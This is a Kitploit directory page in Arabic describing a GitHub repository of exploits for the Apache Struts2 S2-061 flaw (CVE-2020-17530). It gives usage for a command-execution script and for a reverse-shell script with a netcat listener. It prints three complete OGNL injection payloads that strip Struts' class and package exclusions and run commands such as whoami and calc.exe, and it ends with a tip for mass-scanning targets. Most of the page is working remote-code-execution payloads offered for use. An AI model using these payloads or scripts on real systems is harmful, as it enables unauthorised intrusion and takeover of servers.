Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-17530 — حمولة S2-061، بالإضافة إلى PoC/Exp البسيط المقابل لها | Kitploit
أدوات/GitHubGitHub/wuzuowei/cve-2020-17530
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubwuzuowei/cve-2020-17530

CVE-2020-17530

حمولة S2-061، بالإضافة إلى PoC/Exp البسيط المقابل لها

عرض المستودع
46224منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

S2-061

تمت كتابة هذه السكربتات استناداً إلى بيئة اختبار الثغرات struts2-059/061 من vulhub، وهي ليست عامة، وأرجو من كبار الخبراء إرشادي وتصويبي.

  • struts2-061-poc.py (يمكنه تنفيذ أوامر نظام بسيطة)

    الاستخدام: python struts2-061-poc.py http://ip:port command

    مثال: python struts2-061-poc.py http://192.168.0.7:8080 whoami

  • S2-061-shell.py (يمكنه إرجاع shell)

    الاستخدام:

    1. أولاً، استمع على منفذ محدد على الجهاز A (مثال: nc -lvvp 7777)

    2. نفّذ السكربت: python2 S2-061-shell.py target_url، حيث أن target_url هو عنوان بيئة الثغرة، بصيغة http://ip:port

    3. وفقاً لتعليمات السكربت، أدخل عنوان IP الخاص بالجهاز A والمنفذ الذي يستمع عليه، وستحصل على shell في نافذة الاستماع على الجهاز A



فيما يلي بعض الـ payloads التي ابتكرها بعض الخبراء:

payload-1:(from ka1n4t)

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

payload-2:(from Smi1e)

المقال الكامل للتحليل: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458

استخدام application، وهو POC كامل للفكرة

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

استخدام request، POC كامل صالح لطلب واحد فقط (موصى به)

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}

ملاحظة: يرجى ترميز كود OGNL أعلاه باستخدام URL ثم استخدامه في الأداة.

فكرة الكشف:

في الإصدارات الجديدة من struts2، لم يعد من الممكن تحليل تعبيرات OGNL عبر بناء المعاملات، لذا إذا كنت تفكر في استخدام سكربت لإجراء مسح جماعي للتحقق من وجود هذه الثغرة، يمكنك التفكير في تجربة جميع المعاملات مباشرة، ثم التحقق مما إذا كانت الصفحة تحتوي على النص المتوقع.

مثال: %{ 'gcowsec-' + (2000 + 20).toString()}

من المتوقع أن تحصل على

gcowsec-2020

يكفي استخدام سكربت للتحقق مما إذا كانت النتيجة تحتوي على ذلك.

تنزيل الأداة